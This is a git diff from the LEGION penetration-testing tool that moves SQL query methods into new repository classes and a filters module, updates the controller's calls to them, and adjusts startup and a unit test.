self.db.metadata.bind.execute(query, str(hostIP)).fetchall() - - def getCvesFromDB(self, hostIP): - query = ('SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source, cves.exploitId, cves.exploit, cves.exploitUrl FROM cve AS cves ' + - 'INNER JOIN hostObj AS hosts ON hosts.id = cves.hostId ' + - 'WHERE hosts.ip = ?') - return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() def getScriptOutputFromDB(self, scriptDBId): query = ('SELECT script.output FROM l1ScriptObj as script WHERE script.id = ?') return self.db.metadata.bind.execute(query, str(scriptDBId)).fetchall() - # get port and service info for given host IP - def getPortsAndServicesForHostFromDB(self, hostIP, filters): - query = ('SELECT hosts.ip, ports.portId, ports.protocol, ports.state, ports.hostId, ports.serviceId, services.name, services.product, services.version, services.extrainfo, services.fingerprint FROM portObj AS ports ' + - 'INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId ' + - 'LEFT OUTER JOIN serviceObj AS services ON services.id = ports.serviceId ' + - 'WHERE hosts.ip = ?') - - if filters.portopen == False: - query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' - if filters.portclosed == False: - query += ' AND ports.state!=\'closed\'' - if filters.portfiltered == False: - query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' - if filters.tcp == False: - query += ' AND ports.protocol!=\'tcp\'' - if filters.udp == False: - query += ' AND ports.protocol!=\'udp\'' - - return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() - - # used to check if there are any ports of a specific protocol for a given host - def getPortsForHostFromDB(self, hostIP, protocol): - query = ('SELECT ports.portId FROM portObj AS ports ' + - 'INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId ' + - 'WHERE hosts.ip = ? and ports.protocol = ?') - results = self.db.metadata.bind.execute(query, str(hostIP), str(protocol)).first() - return results - - # used to get the service name given a host ip and a port when we are in tools tab (left) and right click on a host - def getServiceNameForHostAndPort(self, hostIP, port): - query = ('SELECT services.name FROM serviceObj AS services ' + - 'INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId ' + - 'INNER JOIN portObj AS ports ON services.id=ports.serviceId ' + - 'WHERE hosts.ip=? and ports.portId = ?') - results = self.db.metadata.bind.execute(query, str(hostIP), str(port)).first() - return results - # used to delete all port/script data related to a host - to overwrite portscan info with the latest scan def deleteAllPortsAndScriptsForHostFromDB(self, hostID, protocol): session = self.db.session() @@ -315,11 +233,6 @@ def deleteAllPortsAndScriptsForHostFromDB(self, hostID, protocol): session.commit() return - def getHostInformation(self, hostIP): - session = self.db.session() - results = session.query(hostObj).filter_by(ip=str(hostIP)).first() - return results - def deleteHost(self, hostIP): session = self.db.session() h = session.query(hostObj).filter_by(ip=str(hostIP)).first() @@ -327,38 +240,6 @@ def deleteHost(self, hostIP): session.commit() return - def getPortStatesForHost(self, hostID): - query = ('SELECT port.state FROM portObj as port WHERE port.hostId = ?') - results = self.db.metadata.bind.execute(query, str(hostID)).fetchall() - return results - - def getHostsAndPortsForServiceFromDB(self, serviceName, filters): - query = ('SELECT hosts.ip,ports.portId,ports.protocol,ports.state,ports.hostId,ports.serviceId,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM portObj AS ports ' + - 'INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId ' + - 'LEFT OUTER JOIN serviceObj AS services ON services.id=ports.serviceId ' + - 'WHERE services.name=?') - - if filters.down == False: - query += ' AND hosts.status!=\'down\'' - if filters.up == False: - query += ' AND hosts.status!=\'up\'' - if filters.checked == False: - query += ' AND hosts.checked!=\'True\'' - if filters.portopen == False: - query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' - if filters.portclosed == False: - query += ' AND ports.state!=\'closed\'' - if filters.portfiltered == False: - query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' - if filters.tcp == False: - query += ' AND ports.protocol!=\'tcp\'' - if filters.udp == False: - query += ' AND ports.protocol!=\'udp\'' - for word in filters.keywords: - query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.osMatch LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' - - return self.db.metadata.bind.execute(query, str(serviceName)).fetchall() - # this function returns all the processes from the DB # the showProcesses flag is used to ensure we don't display processes in the process table after we have cleared them or when an existing project is opened. # to speed up the queries we replace the columns we don't need by zeros (the reason we need all the columns is we are using the same model to display process information everywhere) @@ -391,20 +272,6 @@ def getHostsForTool(self, toolname, closed='False'): return self.db.metadata.bind.execute(query, str(toolname)).fetchall() - def getProcessStatusForDBId(self, dbid): - query = ('SELECT process.status FROM process AS process WHERE process.id=?') - p = self.db.metadata.bind.execute(query, str(dbid)).fetchall() - if p: - return p[0][0] - return -1 - - def getPidForProcess(self, procid): - query = ('SELECT process.pid FROM process AS process WHERE process.id=?') - p = self.db.metadata.bind.execute(query, str(procid)).fetchall() - if p: - return p[0][0] - return -1 - def toggleHostCheckStatus(self, ipaddr): session = self.db.session() h = session.query(hostObj).filter_by(ip=ipaddr).first() @@ -522,27 +389,6 @@ def storeProcessRunningElapsedInDB(self, procId, elapsed): proc.elapsed = elapsed session.add(proc) self.db.commit() - - # this function stores a finished process' output to the DB and updates it status - def storeProcessOutputInDB(self, procId, output): - session = self.db.session() - proc = session.query(process).filter_by(id=procId).first() - if proc: - proc_output = session.query(process_output).filter_by(id=procId).first() - if proc_output: - log.info("Storing process output into db: {0}".format(str(proc_output))) - proc_output.output=unicode(output) - session.add(proc_output) - - proc.endTime = getTimestamp(True) # store end time - - if proc.status == "Killed" or proc.status == "Cancelled" or proc.status == "Crashed": # if the process has been killed don't change the status to "Finished" - self.db.commit() # new: this was missing but maybe this is important here to ensure that we save the process output no matter what - return True - else: - proc.status = 'Finished' - session.add(proc) - self.db.commit() def storeNotesInDB(self, hostId, notes): if len(notes) == 0: @@ -556,20 +402,7 @@ def storeNotesInDB(self, hostId, notes): session = self.db.session() session.add(t_note) self.db.commit() - - def isKilledProcess(self, procId): - query = ('SELECT process.status FROM process AS process WHERE process.id=?') - proc = self.db.metadata.bind.execute(query, str(procId)).fetchall() - if not proc or str(proc[0][0]) == "Killed": - return True - return False - - def isCanceledProcess(self, procId): - query = ('SELECT process.status FROM process AS process WHERE process.id=?') - proc = self.db.metadata.bind.execute(query, str(procId)).fetchall() - if not proc or str(proc[0][0]) == "Cancelled": - return True - return False + class PythonImporter(QtCore.QThread): tick = QtCore.pyqtSignal(int, name="changed") # New style signal @@ -620,6 +453,7 @@ def run(self): # it is nece raise self.done.emit() + class NmapImporter(QtCore.QThread): tick = QtCore.pyqtSignal(int, name="changed") # New style signal done = QtCore.pyqtSignal(name="done") # New style signal @@ -643,7 +477,7 @@ def setFilename(self, filename): def setOutput(self, output): self.output = output - def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing + def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing try: self.importProgressWidget.show() session = self.db.session() diff --git a/backup/.gitkeep b/backup/.gitkeep new file mode 100644 index 00000000..e69de29b diff --git a/controller/controller.py b/controller/controller.py index ec5ec489..bce0a2a9 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -56,7 +56,7 @@ def __init__(self, view, logic): self.initTimers() self.processTimers = {} self.processMeasurements = {} - + # initialisations that will happen everytime we create/open a project - can happen several times in the program's lifetime def start(self, title='*untitled'): self.processes = [] # to store all the processes we run (nmaps, niktos, etc) @@ -67,7 +67,7 @@ def start(self, title='*untitled'): self.pythonImporter.setDB(self.logic.db) self.updateOutputFolder() # tell screenshooter where the output folder is self.view.start(title) - + def initNmapImporter(self): self.nmapImporter = NmapImporter() self.nmapImporter.done.connect(self.importFinished) @@ -79,7 +79,7 @@ def initPythonImporter(self): self.pythonImporter.done.connect(self.importFinished) self.pythonImporter.schedule.connect(self.scheduler) # run automated attacks self.pythonImporter.log.connect(self.view.ui.LogOutputTextView.append) - + def initScreenshooter(self): self.screenshooter = Screenshooter(self.settings.general_screenshooter_timeout) # screenshot taker object (different thread) self.screenshooter.done.connect(self.screenshotFinished) @@ -224,7 +224,7 @@ def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scan outputfile = self.logic.runningfolder + "/nmap/" + getTimestamp() + '-host-discover' command = "nmap -n -sV -O --version-light -T" + str(nmapSpeed) + " " + targetHosts + " -oA "+outputfile log.info("Running {command}".format(command=command)) - self.runCommand('nmap', 'nmap (discovery)', targetHosts, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (discovery)', True)) + self.runCommand('nmap', 'nmap (discovery)', targetHosts, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (discovery)', True)) else: outputfile = self.logic.runningfolder + "/nmap/" + getTimestamp() + '-nmap-list' command = "nmap -n -sL -T" + str(nmapSpeed) + " " + targetHosts + " -oA " + outputfile @@ -277,9 +277,9 @@ def handleHostAction(self, ip, hostid, actions, action): if action.text() == 'Run nmap (staged)': log.info('Purging previous portscan data for ' + str(ip)) # if we are running nmap we need to purge previous portscan results - if self.logic.getPortsForHostFromDB(ip, 'tcp'): + if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, 'tcp'): self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') - if self.logic.getPortsForHostFromDB(ip, 'udp'): + if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, 'udp'): self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'udp') self.view.updateInterface() self.runStagedNmap(ip, False) @@ -292,18 +292,18 @@ def handleHostAction(self, ip, hostid, actions, action): if action.text() == 'Purge Results': log.info('Purging previous portscan data for host {0}'.format(str(ip))) - if self.logic.getPortsForHostFromDB(ip, 'tcp'): + if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, 'tcp'): self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') - if self.logic.getPortsForHostFromDB(ip, 'udp'): + if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, 'udp'): self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'udp') self.view.updateInterface() return if action.text() == 'Delete': log.info('Purging previous portscan data for host {0}'.format(str(ip))) - if self.logic.getPortsForHostFromDB(ip, 'tcp'): + if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, 'tcp'): self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') - if self.logic.getPortsForHostFromDB(ip, 'udp'): + if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, 'udp'): self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'udp') self.logic.deleteHost(ip) self.view.updateInterface() @@ -328,7 +328,7 @@ def handleHostAction(self, ip, hostid, actions, action): if '-sU' in command: proto = 'udp' - if self.logic.getPortsForHostFromDB(ip, proto): # if we are running nmap we need to purge previous portscan results (of the same protocol) + if self.logic.port_repository.get_ports_by_ip_and_protocol(ip, proto): # if we are running nmap we need to purge previous portscan results (of the same protocol) self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, proto) tabTitle = self.settings.hostActions[i][1] @@ -460,7 +460,7 @@ def handleProcessAction(self, selectedProcesses, action): # selectedPr for p in selectedProcesses: if p[1]!="Running": if p[1]=="Waiting": - if str(self.logic.getProcessStatusForDBId(p[2])) == 'Running': + if str(self.logic.process_repository.get_status_by_process_id(p[2])) == 'Running': self.killProcess(self.view.ProcessesTableModel.getProcessPidForId(p[2]), p[2]) self.logic.storeProcessCancelStatusInDB(str(p[2])) else: @@ -477,45 +477,45 @@ def handleProcessAction(self, selectedProcesses, action): # selectedPr #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### def isHostInDB(self, host): - return self.logic.isHostInDB(host) + return self.logic.host_repository.exists(host) def getHostsFromDB(self, filters): - return self.logic.getHostsFromDB(filters) + return self.logic.host_repository.get_hosts(filters) def getServiceNamesFromDB(self, filters): - return self.logic.getServiceNamesFromDB(filters) + return self.logic.service_repository.get_service_names(filters) def getProcessStatusForDBId(self, dbId): - return self.logic.getProcessStatusForDBId(dbId) + return self.logic.process_repository.get_status_by_process_id(dbId) def getPidForProcess(self,dbId): - return self.logic.getPidForProcess(dbId) + return self.logic.process_repository.get_pid_by_process_id(dbId) def storeCloseTabStatusInDB(self,pid): return self.logic.storeCloseTabStatusInDB(pid) def getServiceNameForHostAndPort(self, hostIP, port): - return self.logic.getServiceNameForHostAndPort(hostIP, port) + return self.logic.service_repository.get_service_names_by_host_ip_and_port(hostIP, port) #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### def getPortsAndServicesForHostFromDB(self, hostIP, filters): - return self.logic.getPortsAndServicesForHostFromDB(hostIP, filters) + return self.logic.port_repository.get_ports_and_services_by_host_ip(hostIP, filters) def getHostsAndPortsForServiceFromDB(self, serviceName, filters): - return self.logic.getHostsAndPortsForServiceFromDB(serviceName, filters) + return self.logic.host_repository.get_hosts_and_ports_by_service_name(serviceName, filters) def getHostInformation(self, hostIP): - return self.logic.getHostInformation(hostIP) + return self.logic.host_repository.get_host_information(hostIP) def getPortStatesForHost(self, hostid): - return self.logic.getPortStatesForHost(hostid) + return self.logic.port_repository.get_port_states_by_host_id(hostid) def getScriptsFromDB(self, hostIP): return self.logic.getScriptsFromDB(hostIP) def getCvesFromDB(self, hostIP): - return self.logic.getCvesFromDB(hostIP) + return self.logic.cve_repository.get_cves_by_host_ip(hostIP) def getScriptOutputFromDB(self,scriptDBId): return self.logic.getScriptOutputFromDB(scriptDBId) @@ -542,7 +542,7 @@ def checkProcessQueue(self): self.processTableUiUpdateTimer.start(1000) if (self.fastProcessesRunning <= int(self.settings.general_max_fast_processes)): next_proc = self.fastProcessQueue.get() - if not self.logic.isCanceledProcess(str(next_proc.id)): + if not self.logic.process_repository.is_cancelled_process(str(next_proc.id)): log.debug('Running: '+ str(next_proc.command)) next_proc.display.clear() self.processes.append(next_proc) @@ -633,12 +633,14 @@ def handleProcUpdate(*vargs): qProcess.error.connect(lambda: self.processCrashed(qProcess)) log.info("runCommand called for stage {0}".format(str(stage))) - if stage > 0 and stage < 6: # if this is a staged nmap, launch the next stage + if stage > 0 and stage < 6: # if this is a staged nmap, launch the next stage log.info("runCommand connected for stage {0}".format(str(stage))) nextStage = stage + 1 - qProcess.finished.connect(lambda: self.runStagedNmap(str(hostIp), discovery = discovery, stage = nextStage, stop = self.logic.isKilledProcess(str(qProcess.id)))) + qProcess.finished.connect( + lambda: self.runStagedNmap(str(hostIp), discovery=discovery, stage=nextStage, + stop=self.logic.process_repository.is_killed_process(str(qProcess.id)))) - return qProcess.pid() # return the pid so that we can kill the process if needed + return qProcess.pid() # return the pid so that we can kill the process if needed def runPython(self): textbox = self.view.createNewConsole("python") @@ -678,8 +680,8 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): log.info("runStagedNmap called for stage {0}".format(str(stage))) if not stop: textbox = self.view.createNewTabForHost(str(targetHosts), 'nmap (stage '+str(stage)+')', True) - outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-nmapstage'+str(stage) - + outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-nmapstage'+str(stage) + if stage == 1: # webservers/proxies ports = self.settings.tools_nmap_stage1_ports elif stage == 2: # juicy stuff that we could enumerate + db @@ -728,17 +730,17 @@ def processCrashed(self, proc): log.info('Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n','').replace("b'","") #self.view.closeHostToolTab(self, index)) - self.view.findFinishedServiceTab(str(self.logic.getPidForProcess(str(proc.id)))) + self.view.findFinishedServiceTab(str(self.logic.process_repository.get_pid_by_process_id(str(proc.id)))) log.info('Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) # this function handles everything after a process ends #def processFinished(self, qProcess, crashed=False): def processFinished(self, qProcess): try: - if not self.logic.isKilledProcess(str(qProcess.id)): # if process was not killed + if not self.logic.process_repository.is_killed_process(str(qProcess.id)): # if process was not killed if not qProcess.outputfile == '': self.logic.moveToolOutput(qProcess.outputfile) # move tool output from runningfolder to output folder if there was an output file - print(qProcess.command) + print(qProcess.command) if 'nmap' in qProcess.command : # if the process was nmap, use the parser to store it if qProcess.exitCode() == 0: # if the process finished successfully newoutputfile = qProcess.outputfile.replace(self.logic.runningfolder, self.logic.outputfolder) @@ -759,12 +761,11 @@ def processFinished(self, qProcess): self.processCrashed(qProcess) log.info("Process {qProcessId} is done!".format(qProcessId=qProcess.id)) - - - self.logic.storeProcessOutputInDB(str(qProcess.id), qProcess.display.toPlainText()) + + self.logic.process_repository.store_process_output(str(qProcess.id), qProcess.display.toPlainText()) if 'hydra' in qProcess.name: # find the corresponding widget and tell it to update its UI - self.view.findFinishedBruteTab(str(self.logic.getPidForProcess(str(qProcess.id)))) + self.view.findFinishedBruteTab(str(self.logic.process_repository.get_pid_by_process_id(str(qProcess.id)))) try: self.fastProcessesRunning =- 1 diff --git a/db/database.py b/db/database.py index 93901cfc..e92a8676 100644 --- a/db/database.py +++ b/db/database.py @@ -346,7 +346,7 @@ def openDB(self, dbfilename): def commit(self): self.dbsemaphore.acquire() - log.info("DB lock aquired") + log.info("DB lock acquired") try: session = self.session() rnd = float(randint(1,99)) / 100.00 diff --git a/db/filters.py b/db/filters.py new file mode 100644 index 00000000..d2db73e0 --- /dev/null +++ b/db/filters.py @@ -0,0 +1,55 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from app.auxiliary import sanitise + + +def apply_filters(filters): + query_filter = "" + query_filter += apply_hosts_filters(filters) + query_filter += apply_port_filters(filters) + return query_filter + + +def apply_hosts_filters(filters): + query_filter = "" + if not filters.down: + query_filter += " AND hosts.status != 'down'" + if not filters.up: + query_filter += " AND hosts.status != 'up'" + if not filters.checked: + query_filter += " AND hosts.checked != 'True'" + for word in filters.keywords: + query_filter += (f" AND (hosts.ip LIKE '%{sanitise(word)}%'" + f" OR hosts.osMatch LIKE '%{sanitise(word)}%'" + f" OR hosts.hostname LIKE '%{sanitise(word)}%')") + return query_filter + + +def apply_port_filters(filters): + query_filter = "" + if not filters.portopen: + query_filter += " AND ports.state != 'open' AND ports.state != 'open|filtered'" + if not filters.portclosed: + query_filter += " AND ports.state != 'closed'" + if not filters.portfiltered: + query_filter += " AND ports.state != 'filtered' AND ports.state != 'open|filtered'" + if not filters.tcp: + query_filter += " AND ports.protocol != 'tcp'" + if not filters.udp: + query_filter += " AND ports.protocol != 'udp'" + return query_filter diff --git a/db/repositories/CVERepository.py b/db/repositories/CVERepository.py new file mode 100644 index 00000000..9a1cc634 --- /dev/null +++ b/db/repositories/CVERepository.py @@ -0,0 +1,30 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from db.database import Database + + +class CVERepository: + def __init__(self, db_adapter: Database): + self.db_adapter = db_adapter + + def get_cves_by_host_ip(self, host_ip): + query = ('SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source, ' + 'cves.exploitId, cves.exploit, cves.exploitUrl FROM cve AS cves ' + 'INNER JOIN hostObj AS hosts ON hosts.id = cves.hostId ' + 'WHERE hosts.ip = ?') + return self.db_adapter.metadata.bind.execute(query, str(host_ip)).fetchall() diff --git a/db/repositories/HostRepository.py b/db/repositories/HostRepository.py new file mode 100644 index 00000000..1ac313ef --- /dev/null +++ b/db/repositories/HostRepository.py @@ -0,0 +1,49 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from app.auxiliary import Filters +from db.database import Database, hostObj +from db.filters import apply_filters, apply_hosts_filters + + +class HostRepository: + def __init__(self, db_adapter: Database): + self.db_adapter = db_adapter + + def exists(self, host: str): + query = 'SELECT host.ip FROM hostObj AS host WHERE host.ip == ? OR host.hostname == ?' + result = self.db_adapter.metadata.bind.execute(query, str(host), str(host)).fetchall() + return True if result else False + + def get_hosts(self, filters): + query = 'SELECT * FROM hostObj AS hosts WHERE 1=1' + query += apply_hosts_filters(filters) + return self.db_adapter.metadata.bind.execute(query).fetchall() + + def get_hosts_and_ports_by_service_name(self, service_name, filters: Filters): + query = ("SELECT hosts.ip,ports.portId,ports.protocol,ports.state,ports.hostId,ports.serviceId," + "services.name,services.product,services.version,services.extrainfo,services.fingerprint " + "FROM portObj AS ports " + + "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + + "LEFT OUTER JOIN serviceObj AS services ON services.id=ports.serviceId " + + "WHERE services.name=?") + query += apply_filters(filters) + return self.db_adapter.metadata.bind.execute(query, str(service_name)).fetchall() + + def get_host_information(self, host_ip_address: str): + session = self.db_adapter.session() + return session.query(hostObj).filter_by(ip=str(host_ip_address)).first() diff --git a/db/repositories/PortRepository.py b/db/repositories/PortRepository.py new file mode 100644 index 00000000..e2977694 --- /dev/null +++ b/db/repositories/PortRepository.py @@ -0,0 +1,41 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from db.database import Database +from db.filters import apply_port_filters + + +class PortRepository: + def __init__(self, db_adapter: Database): + self.db_adapter = db_adapter + + def get_ports_by_ip_and_protocol(self, host_ip, protocol): + query = ("SELECT ports.portId FROM portObj AS ports INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "WHERE hosts.ip = ? and ports.protocol = ?") + return self.db_adapter.metadata.bind.execute(query, str(host_ip), str(protocol)).first() + + def get_port_states_by_host_id(self, host_id): + query = 'SELECT port.state FROM portObj as port WHERE port.hostId = ?' + return self.db_adapter.metadata.bind.execute(query, str(host_id)).fetchall() + + def get_ports_and_services_by_host_ip(self, host_ip, filters): + query = ("SELECT hosts.ip, ports.portId, ports.protocol, ports.state, ports.hostId, ports.serviceId, " + "services.name, services.product, services.version, services.extrainfo, services.fingerprint " + "FROM portObj AS ports INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "LEFT OUTER JOIN serviceObj AS services ON services.id = ports.serviceId WHERE hosts.ip = ?") + query += apply_port_filters(filters) + return self.db_adapter.metadata.bind.execute(query, str(host_ip)).fetchall() diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py new file mode 100644 index 00000000..4ae9bb52 --- /dev/null +++ b/db/repositories/ProcessRepository.py @@ -0,0 +1,68 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from app.auxiliary import getTimestamp +from db.database import * +from six import u as unicode + + +class ProcessRepository: + def __init__(self, db_adapter: Database, log): + self.db_adapter = db_adapter + self.log = log + + def store_process_output(self, process_id: str, output: str): + session = self.db_adapter.session() + proc = session.query(process).filter_by(id=process_id).first() + + if not proc: + return False + + proc_output = session.query(process_output).filter_by(id=process_id).first() + if proc_output: + self.log.info("Storing process output into db: {0}".format(str(proc_output))) + proc_output.output = unicode(output) + session.add(proc_output) + + proc.endTime = getTimestamp(True) + + if proc.status == "Killed" or proc.status == "Cancelled" or proc.status == "Crashed": + self.db_adapter.commit() + return True + else: + proc.status = 'Finished' + session.add(proc) + self.db_adapter.commit() + + def get_status_by_process_id(self, process_id: str): + return self.get_field_by_process_id("status", process_id) + + def get_pid_by_process_id(self, process_id: str): + return self.get_field_by_process_id("pid", process_id) + + def is_killed_process(self, process_id: str) -> bool: + status = self.get_field_by_process_id("status", process_id) + return True if status == "Killed" else False + + def is_cancelled_process(self, process_id: str) -> bool: + status = self.get_field_by_process_id("status", process_id) + return True if status == "Cancelled" else False + + def get_field_by_process_id(self, field_name: str, process_id: str): + query = f"SELECT process.{field_name} FROM process AS process WHERE process.id=?" + p = self.db_adapter.metadata.bind.execute(query, str(process_id)).fetchall() + return p[0][0] if p else -1 diff --git a/db/repositories/ServiceRepository.py b/db/repositories/ServiceRepository.py new file mode 100644 index 00000000..b2a164ae --- /dev/null +++ b/db/repositories/ServiceRepository.py @@ -0,0 +1,41 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from app.auxiliary import sanitise, Filters +from db.database import hostObj +from db.filters import apply_filters + + +class ServiceRepository: + def __init__(self, db_adapter): + self.db_adapter = db_adapter + + def get_service_names(self, filters: Filters): + query = ("SELECT DISTINCT service.name FROM serviceObj as service " + "INNER JOIN portObj as ports " + "INNER JOIN hostObj AS hosts " + "ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1") + query += apply_filters(filters) + query += ' ORDER BY service.name ASC' + return self.db_adapter.metadata.bind.execute(query).fetchall() + + def get_service_names_by_host_ip_and_port(self, host_ip, port): + query = ("SELECT services.name FROM serviceObj AS services " + "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "INNER JOIN portObj AS ports ON services.id=ports.serviceId " + "WHERE hosts.ip=? and ports.portId = ?") + return self.db_adapter.metadata.bind.execute(query, str(host_ip), str(port)).first() \ No newline at end of file diff --git a/legion.py b/legion.py index 45dbc22e..575cc497 100644 --- a/legion.py +++ b/legion.py @@ -10,7 +10,9 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' from app.shell.DefaultShell import DefaultShell +from db.repositories.ServiceRepository import ServiceRepository from ui.eventfilter import MyEventFilter +from ui.gui import Ui_MainWindow from utilities.stenoLogging import * log = get_logger('legion', path="./log/legion-startup.log") log.setLevel(logging.INFO) @@ -54,7 +56,6 @@ # Main application declaration and loop if __name__ == "__main__": - cprint(figlet_format('LEGION', font='starwars'), 'yellow', 'on_red', attrs=['bold']) app = QApplication(sys.argv) @@ -76,7 +77,12 @@ MainWindow.setStyleSheet(qss_file) shell = DefaultShell() - logic = Logic(shell) # Model prep (logic, db and models) + tf = shell.create_named_temporary_file(suffix=".legion", + prefix="legion-", + directory="./tmp/", + delete_on_close=False) # to store the db file + db = Database(tf.name) + logic = Logic(project_name=tf.name, db=db, shell=shell) # Model prep (logic, db and models) view = View(ui, MainWindow) # View prep (gui) controller = Controller(view, logic) # Controller prep (communication between model and view) view.qss = qss_file diff --git a/log/.gitkeep b/log/.gitkeep new file mode 100644 index 00000000..e69de29b diff --git a/tests/app/test_logic.py b/tests/app/test_logic.py index 5ac91d84..440720dc 100644 --- a/tests/app/test_logic.py +++ b/tests/app/test_logic.py @@ -28,18 +28,17 @@ def build_mock_process(status: str, display: str) -> MagicMock: class LogicTest(unittest.TestCase): - def setUp(self) -> None: + @patch('utilities.stenoLogging.get_logger') + def setUp(self, get_logger) -> None: self.shell = MagicMock() self.mock_db_session = MagicMock() - @patch('utilities.stenoLogging.get_logger') - def test_init_ShouldLoadInitialVariablesSuccessfully(self, get_logger): - get_logger.return_value = MagicMock() + def test_init_ShouldLoadInitialVariablesSuccessfully(self): from app.logic import Logic self.shell.get_current_working_directory.return_value = "./some/path/" self.shell.create_temporary_directory.side_effect = ["./output/folder", "./running/folder"] - logic = Logic(self.shell) + logic = Logic("test-session", self.mock_db_session, self.shell) self.assertEqual("./some/path/", logic.cwd) self.assertTrue(logic.istemp) @@ -50,12 +49,10 @@ def test_init_ShouldLoadInitialVariablesSuccessfully(self, get_logger): mock.call("./running/folder/dnsmap"), ]) - 